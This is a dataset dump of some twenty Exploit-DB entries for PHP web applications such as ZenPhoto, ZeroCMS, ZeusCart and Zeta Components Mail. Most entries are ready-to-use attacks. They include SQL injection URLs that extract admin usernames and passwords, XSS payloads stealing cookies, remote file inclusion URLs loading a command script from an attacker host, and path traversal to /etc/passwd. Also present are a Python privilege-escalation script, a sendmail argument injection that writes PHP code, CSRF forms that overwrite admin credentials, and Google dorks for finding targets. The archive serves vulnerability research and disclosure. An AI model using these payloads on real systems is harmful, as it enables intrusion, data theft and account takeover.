deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37602
Description: ZenPhoto 1.4.8 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2015-07-13
Author: Tim Coen

Exploit:
Vulnerability: SQL Injection, Reflected XSS, Path Traversal
Affected Software: ZenPhoto (http://www.zenphoto.org/)
Affected Version: 1.4.8 (probably also prior versions)
Patched Version: 1.4.9
Risk: Medium
Vendor Contacted: 2015-05-18
Vendor Fix: 2015-07-09
Public Disclosure: 2015-07-10

SQL Injection
=============

  There are multiple second order error based SQL injections into the
ORDER BY keyword in the admin area.

   - visit zp-core/admin-options.php?saved&tab=gallery
     alternatively visit zp-core/admin-options.php?saved&tab=image
   - Set "Sort gallery by" to "Custom"
   - set custom fields to "id,extractvalue(0x0a,concat(0x0a,(select
version())))%23"
   - visit zp-core/admin-upload.php?page=upload&tab=http&type=images
   - alternatively, visiting either of these will also trigger the injection:
    /
    zp-core/admin-edit.php
    zp-core/admin-users.php?page=users
    zp-core/admin-themes.php

  The result is only directly displayed if the server is configured to
report errors, but it can also be seen in the logfile located at
zp-core/admin-logs.php?page=logs

XSS 1
=====

  http://localhost/zenphoto-zenphoto-1.4.8/zp-core/admin-upload.php?error=%26lt%3Bscript%26gt%3Balert(1)%26lt%3B%2Fscript%26gt%3B
  http://localhost/zenphoto-zenphoto-1.4.8/zp-core/utilities/backup_restore.php?compression=%26lt%3Bscript%26gt%3Balert%281%29%26lt%3B%2Fscript%26gt%3B

    The payload must first be HTML entity-encoded, and then URL encoded.

XSS 2
=====


http://localhost/zenphoto-security-fixes/zp-core/admin.php?action=external&error="
onmouseover="alert('xsstest')" foo="bar&msg=hover over me!

Directory Traversal
===================

  For an admin, it is possible to view and edit any PHP or inc files, not
just the ones inside the theme directory.

  http://localhost/zenphoto-zenphoto-1.4.8/zp-core/admin-themes-editor.php?theme=../../../../../var/www&file=secret.php


Execute Function
================

An admin user can execute any function they want via this URL (there is
no CSRF protection for it):

    localhost/zenphoto-security-fixes/zp-core/admin.php?action=phpinfo

This gives up some control over the control flow of the site, which
might cause problems, especially considering the missing of CSRF protection.

Source
======

http://software-talk.org/blog/2015/07/second-order-sql-injection-reflected-xss-path-traversal-function-execution-vulnerability-zenphoto/
Exploit-DB #51485
Description: Zenphoto 1.6 - Multiple stored XSS
Type: webapps
Platform: php
Date: 2023-05-25
Author: Mirabbas Ağalarov

Exploit:
Exploit Title: Zenphoto 1.6 - Multiple stored XSS
Application: Zenphoto-1.6 xss poc
Version: 1.6 
Bugs:  XSS
Technology: PHP
Vendor URL: https://www.zenphoto.org/news/zenphoto-1.6/
Software Link: https://github.com/zenphoto/zenphoto/archive/v1.6.zip
Date of found: 01-05-2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
###XSS-1###
steps: 
1. create new album 
2. write Album Description : <iframe src="https://14.rs"></iframe> 
3. save and view album  http://localhost/zenphoto-1.6/index.php?album=new-album or http://localhost/zenphoto-1.6/

=====================================================
###XSS-2###
steps: 
1. go to user account and change user data (http://localhost/zenphoto-1.6/zp-core/admin-users.php?page=users)
2.change postal code  as <script>alert(4)</script>
3.if admin user information import as html , xss will trigger

poc video : https://youtu.be/JKdC980ZbLY
Exploit-DB #22750
Description: Zentrack 2.2/2.3/2.4 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-06-06
Author: farking

Exploit:
source: https://www.securityfocus.com/bid/7843/info

A remote file include vulnerability has been reported for Zentrack. Due to insufficient sanitization of some user-supplied variables by the 'index.php' script, it is possible for a remote attacker to include a malicious PHP file in a URL.

If the remote file is a malicious PHP script, this may allow for the execution of attacker-supplied PHP code with the privileges of the web server. Successful exploitation may provide unauthorized remote access to the attacker. This issue may also be exploited to remotely view files on the vulnerable host.

http://www.example.com/zentrack/index.php?configFile=http://[attacker]/cmd.php?
cmd=pwd

http://www.example.com/zentrack/www/index.php?libDir=http://
[attacker]/test/&cmd=pwd

http://www.exmaple.com/zentrack/index.php?configFile=/../../../../../etc/passwd
Exploit-DB #11850
Description: Zephyrus CMS - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-23
Author: Phenom

Exploit:
====================================================
Zephyrus CMS (index.php) SQL Injection Vulnerability
====================================================


[+] Discovered by: Phenom
[+] My id: http://inj3ct0r.com/author/2157
[+] Original: http://inj3ct0r.com/exploits/11409

#[Exploit Title] : CMS Zephyrus (index.php) SQL Injection Vulnerability

[Author] = Phenom

[CMS]   = CMS Zephyrus

[Dork] = I hate script kiddies

[Date] = 2010-03-23

#[Exploit] :

[Bug] = [index.php?pagina=news&id=]

[Usage] = http://www.site/index.php?pagina=news&id=[SQL Injection]

[Login] = http://site/index_priv.php

#[Thanks] :

[+] all Inj3ct0r Members



# Inj3ct0r.com [2010-03-23]
Exploit-DB #25125
Description: ZeroBoard 4.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-02-19
Author: albanian haxorz

Exploit:
source: https://www.securityfocus.com/bid/12596/info

ZeroBoard is reported prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate theft of cookie-based authentication credentials as well as other attacks.

All versions of ZeroBoard are considered to be vulnerable at the moment. 

http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%
3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(document.cookie)%3C/script%3E

http://www.example.com/skin/dir/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%
3C/script%3E

http://www.example.com/zboard.php?id=link&page=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #21557
Description: ZeroBoard 4.1 - PHP Include File Arbitrary Command Execution
Type: webapps
Platform: php
Date: 2002-06-15
Author: onlooker

Exploit:
source: https://www.securityfocus.com/bid/5028/info

Zeroboard is a PHP web board package available for the Linux and Unix platforms.

Under some circumstances, it may be possible to include arbitrary PHP files. The _head.php file does not sufficiently check or sanitize input. When the "allow_url_fopen" variable and the "register_globals" variable in php.ini are set to "On," it is possible to load a PHP include file from a remote URL via the _head.php script. 

PHP Source file a.php
<? passthru("/bin/ls"); ?>

Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a
Exploit-DB #38329
Description: ZeroClipboard 1.9.x - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-02-20
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/58116/info

ZeroClipboard is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ZeroClipboard versions prior to 1.1.7 are vulnerable. 

http://www.example.com/themes/default/htdocs/flash/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

http://www.example.com/piwigo/extensions/UserCollections/template/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

http://www.example.com/filemanager/views/js/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

http://www.example.com/path/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

http://www.example.com/script/jqueryplugins/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

http://www.example.com/www.example.coms/all/modules/ogdi_field/plugins/dataTables/extras/TableTools/media/swf/ZeroClipboard.swf?id=\";))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height
Exploit-DB #33743
Description: ZeroCMS 1.0 - 'zero_transact_user.php' Handling Privilege Escalation
Type: webapps
Platform: php
Date: 2014-06-13
Author: Tiago Carvalho

Exploit:
import sys,getopt,cookielib,urllib2,urllib

# ZeroCMS 1.0 
# zero_transact_user.php
# Impropper Form post hanling, (parameter polution)
# Vendor: Another Awesome Stuff 
# Product web page: http://www.aas9.in/zerocms/
# author: tiago.alexand@gmail.com
# Tested on: php 5.4.27
# OSVDB ID: 108025
# description
# Summary: ZeroCMS is a very simple Content Management
# System built using PHP and MySQL.
# the script zero_transact_user.php contains a Modify Account case 
# where the execution context doen't have in to consideration the current user's permitions 
# allowing a malcious user to escalate its privileges to admin.  

def  exploit(host,email,name,userid):
   access_level = 3 # default for admin
   url = host + '/zero_transact_user.php' #the script handles user related actions
   args = { 'user_id':userid,'email':email, 'name':name,'access_level':access_level,'action':'Modify Account' }
   data = urllib.urlencode(args)
   cj = cookielib.CookieJar()
   opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
   response = opener.open(url,data);
   print response.read()
	
def main(argv):
   host = ''
   email = ''
   accountname = ''
   userid = ''
   try:
      opts, args = getopt.getopt(argv,"hu:m:n:i:")
   except getopt.GetoptError:
      print 'zero_cms_privEscalation.py -u <host> -m <email> -n <account name> -i acount id'
      sys.exit(2)
   for opt, arg in opts:
      if opt == '-h':
         print 'zero_cms_privEscalation.py -u <host> -m <email> -n <account name> -i acount id'
         sys.exit()
      elif opt in ("-u"):
         host = arg
      elif opt in ("-m"):
      	 email = arg
      elif opt in ("-n"):
      	 accountname = arg
      elif opt in ("-i"):
      	 userid = arg
   exploit(host,email,accountname,userid)

if __name__ == "__main__":
   main(sys.argv[1:])
Exploit-DB #33702
Description: ZeroCMS 1.0 - 'zero_view_article.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-06-10
Author: LiquidWorm

Exploit:

ZeroCMS 1.0 (article_id) SQL Injection Vulnerability


Vendor: Another Awesome Stuff
Product web page: http://www.aas9.in/zerocms/
Affected version: 1.0

Summary: ZeroCMS is a very simple Content Management
System built using PHP and MySQL.

Desc: Input passed via the 'article_id' GET parameter
to zero_view_article.php script is not properly sanitised
before being used in SQL queries. This can be exploited
to manipulate SQL queries by injecting arbitrary SQL code.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5186
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5186.php


09.06.2014

--


http://localhost/zerocms/zero_view_article.php?article_id=1337+union+all+select+concat(unhex(hex(cast(database()+as+char)))),2,3,4,5,6--
http://localhost/zerocms/zero_view_article.php?article_id=1337+union+all+select+(select+concat(unhex(hex(cast(zero_users.name+as+char))),0x20,0x7c,0x20,unhex(hex(cast(zero_users.password+as+char))))+from+`zcdb`.zero_users+limit 0,1),2,3,4,5,6--
Exploit-DB #34170
Description: ZeroCMS 1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-07-27
Author: Mayuresh Dani

Exploit:
######################
# Exploit Title: Persistent ZeroCMS Cross-Site Scripting Vulnerability

# Discovered by: Mayuresh Dani

# Vendor Homepage: http://www.aas9.in/zerocms/

# Software Link: https://github.com/pcx1256/zerocms/archive/master.zip

# Version: 1.0?

# Date: 2014-07-25

# Tested on: Windows 7 / Mozilla Firefox
              Ubuntu 14.04 / Mozilla Firefox

# CVE: CVE-2014-4710

######################

# Vulnerability Disclosure Timeline:

2014-06-15:  Discovered vulnerability
2014-06-23:  Vendor Notification (Support e-mail address)
2014-07-25:  Public Disclosure

# Description

ZeroCMS is a very simple Content Management System Built using PHP and
MySQL.

The application does not validate any input to the "Full Name", "Email
Address", "Password" or "Confirm Password" functionality. It saves this
unsanitized input in the backend databased and executes it when visiting
the subsequent or any logged-in pages.

######################

# Steps to reproduce the vulnerability

1) Visit the "Create Account" page (eg.
http://localhost/zerocms/zero_transact_user.php)

2) Enter your favourite XSS payload and click on "Create Account"

3) Enjoy!

More information:
https://community.qualys.com/blogs/securitylabs/2014/07/24/yet-another-zerocms-cross-site-scripting-vulnerability-cve-2014-4710

#####################

Thanks,
Mayuresh.
Exploit-DB #43155
Description: Zeta Components Mail 1.8.1 - Remote Code Execution
Type: webapps
Platform: php
Date: 2017-11-16
Author: MalwareBenchmark

Exploit:
Vendor: Zeta Components

module: Mail, <= 1.8.1

Published: November 12nd, 2017

Reported by: Kay

CVE-2017-15806

Overview

Zeta Components are a high quality, general purpose library of loosly coupled components for development of applications based on PHP 5. An issue was discovered in the Mail package for Zeta Components. It’s possible to exploit this vulnerability to execute arbitrary shell commands on the remote server.

Detail

This vulnerability is on send method in ezcMailMtaTransport class.

In /src/transports/mta/mta_transport.php at line 73, send() method use PHP mail() method to deliver email, while PHP use sendmail as default MTA. When mail() method is called, the 5th parameter is $additionalParameters , this parameter can pass extra param to sendmail. As the code shown, it is assigned by this line:

$additionalParameters = "-f{$mail->returnPath->email}”;

If attacker assign email address like:

'kay_malwarebenchmark@outlook.com -X/var/www/html/cache/exploit.php'

and inject payload in mail body, sendmail will transfer log(-X) into /var/www/html/cache/exploit.php. The resulting file will contain the payload passed in the body of the email, that can then be accessed and run through domainname/cache/exploit.php.

To summary, it is possible if all of these conditions are true:

- you use the ezcMailMtaTransport
- your “sendmail” binary allows the -X flag to be set, which is not the case for exim4 and postfix, as they don’t support that argument
- your wwwroot is writable by the user your webserver is running at the input to use for the ezcMailAddress that is assigned to the returnPath property is not properly escaped

PoC

 use Mail\mail;

 $mail = new ezcMail();
 $mail->returnPath = new ezcMailAddress('kay_malwarebenchmark@outlook.com -X/var/www/html/cache/exploit.php');
 $mail->addTo( new ezcMailAddress('some one'));
 $mail->subject = "Mail PoC Exploit";
 $mail->body = new ezcMailText("<?php phpinfo(); ?>");
 $transport = new ezcMailMtaTransport();
 $transport->send($mail);

Remediation

Upgrade Mail to 1.8.2
Exploit-DB #39223
Description: ZeusCart - 'prodid' SQL Injection
Type: webapps
Platform: php
Date: 2014-06-24
Author: Kenny Mathis

Exploit:
source: https://www.securityfocus.com/bid/68182/info

ZeusCart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ZeusCart 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?do=addtocart&prodid=${PROD_ID} and sleep(1)
Exploit-DB #5594
Description: ZeusCart 2.0 - 'category_list.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-12
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+      ZeusCart <= 2.0 (category_list.php) Remote SQL Injection Vulnerbility     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 12 MAY 2008
Script Download: http://www.ajsquare.com/products/ecom/index.php?auc=1
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

ZeusCart (from AJ E-Commerce) suffers from a insecure mysql query, This allows the
remote attacker to arbitrary execute mysql code/querys.

the below injection will perform a SELECT query which will display admin credentials in RED text.



SQL Injection:

http://site.com/category_list.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/CONCAT(user_name,char(58),password),2/**/FROM/**/admin/*

NOTE/TIP: 

passwords are plaintext



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+      ZeusCart <= 2.0 (category_list.php) Remote SQL Injection Vulnerbility     +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-12]
Exploit-DB #38223
Description: ZeusCart 4.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-09-17
Author: Curesec Research Team

Exploit:
ZeusCart 4.0: CSRF
Security Advisory – Curesec Research Team

1. Introduction

Affected Product:   ZeusCart 4.0  
Fixed in:     not fixed
Fixed Version Link:   n/a  
Vendor Contact:   support@zeuscart.com  
Vulnerability Type:   CSRF  
Remote Exploitable:   Yes  
Reported to vendor:   08/13/2015  
Disclosed to public:   09/14/2015  
Release mode:     Full Disclosure  
CVE:       n/a  
Credits     Tim Coen of Curesec GmbH  

2. Vulnerability Description

None of the forms of Zeuscart have CSRF protection, which means that an
attacker can perform actions for the victim if the victim visits an
attacker controlled site while logged in.
3. Proof of Concept

Change Admin Credentials:

<form name="myform" method="post"
action="http://localhost/zeuscart-master/admin/?do=adminprofile&action=update"
enctype="multipart/form-data">
    <input type="hidden" name="admin_name" value="admin2">
    <input type="hidden" name="admin_email" value="admin2@example.com">
    <input type="hidden" name="admin_password" value="admin">
</form>
<script>document.myform.submit();</script>

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

08/13/2015   Informed Vendor about Issue (no reply)
09/07/2015   Reminded Vendor of release date (no reply)
09/14/2015   Disclosed to public

6. Blog Reference
http://blog.curesec.com/article/blog/ZeusCart-40-CSRF-58.html
Exploit-DB #46027
Description: ZeusCart 4.0 - Cross-Site Request Forgery (Deactivate Customer Accounts)
Type: webapps
Platform: php
Date: 2018-12-21
Author: mqt

Exploit:
# Exploit Title: ZeusCart 4.0 Deactivate Customer Accounts CSRF
# Date: 12/20/2018
# Exploit Author: mqt
# Vendor Homepage: http://http://www.zeuscart.com/
# Version: Zeus Cart 4.0 CSRF

1. Vulnerability Description

Due to the form not being validated, ZeusCart4.0 suffers from a Cross
Site Request Forgery vulnerability, which means an attacker can
perform actions on behalf of a victim, by having the victim visit an
attacker controlled site.

In this case, the attacker is able to "deactivate" any customer
accounts, which means that the account is banned and cannot login.

Proof of Concept:
<html>
	<body>
		<img style="display:none"msrc="http://localhost/admin/?do=regstatus&action=deny&id=2" alt="">
	</body>
</html>
Exploit-DB #11437
Description: ZeusCMS 0.2 - Database Backup Dump / Local File Inclusion
Type: webapps
Platform: php
Date: 2010-02-13
Author: ViRuSMaN

Exploit:
==============================================================================
        [»] ~ Note : [ Tribute to the martyrs of Gaza . ]
==============================================================================
        [»] ZeusCMS v0.2 (DBD/LFI) Multiple Vulnerabilities
==============================================================================

    [»] Script:             [ ZeusCMS ]
    [»] Language:           [ PHP ]
    [»] Site page:          [ ZeusCMS is yet another Content Management System ]
    [»] Download:           [ http://sourceforge.net/projects/zeuscms/files/ZeusCMS%20v0.2/ ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & Sec-Attack.Com ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Database Backup Dump ]===

    [»] http://[target].com/[path]/admin/backup.sql


===[ Local File Include ]===

    [»] http://[target].com/[path]/index.php?page=[LFI]


Author: ViRuSMaN <-

###########################################################################
Exploit-DB #8092
Description: zFeeder 1.6 - 'admin.php' Admin Bypass
Type: webapps
Platform: php
Date: 2009-02-23
Author: ahmadbady

Exploit:
-----------------:remote bypass admin panel:-----------------
-------------------------------------------------------
script:zfeeder 1.6
    
------------------------------------------------------------------
download from:http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/z/zv/zvonnews/zfeeder-1.6.zip
   
------------------------------------------------------------------
.......................................................
xpl:

http://127.0.0.1/path/admin.php?zfaction=config
------------------------------------------------------

dork: intitle:"zFeeder admin panel"
-----------------------------------------------------

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady  [kivi_hacker666@yahoo.com]
---------------------------------------------------

# milw0rm.com [2009-02-23]
Exploit-DB #41296
Description: Zigaform - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Zigaform - PHP Form Builder - Contact & Survey v2.9.1 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://php-form-builder.zigaform.com/
# Software Buy: https://codecanyon.net/item/zigaform-php-form-builder-contact-survey/14889427
# Demo: http://demo-phpformbuilder.zigaform.com/index.php
# Version: 2.9.1
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/formbuilder/frontend/viewform/?form=[SQL]
# Etc...
# # # # #